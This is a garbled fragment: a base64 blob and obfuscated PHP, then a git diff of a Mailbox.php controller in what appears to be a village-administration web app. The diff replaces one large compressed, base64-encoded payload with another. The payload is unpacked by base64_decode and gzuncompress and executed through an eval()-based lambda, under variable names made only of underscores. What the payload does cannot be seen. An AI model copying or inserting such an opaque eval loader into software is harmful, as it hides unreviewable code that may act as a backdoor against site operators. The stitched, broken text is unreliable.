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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Mailbox.php b/donjo-app/controllers/Mailbox.php index a6c1115b2..8f2ea3131 100644 --- a/donjo-app/controllers/Mailbox.php +++ b/donjo-app/controllers/Mailbox.php @@ -236,7 +236,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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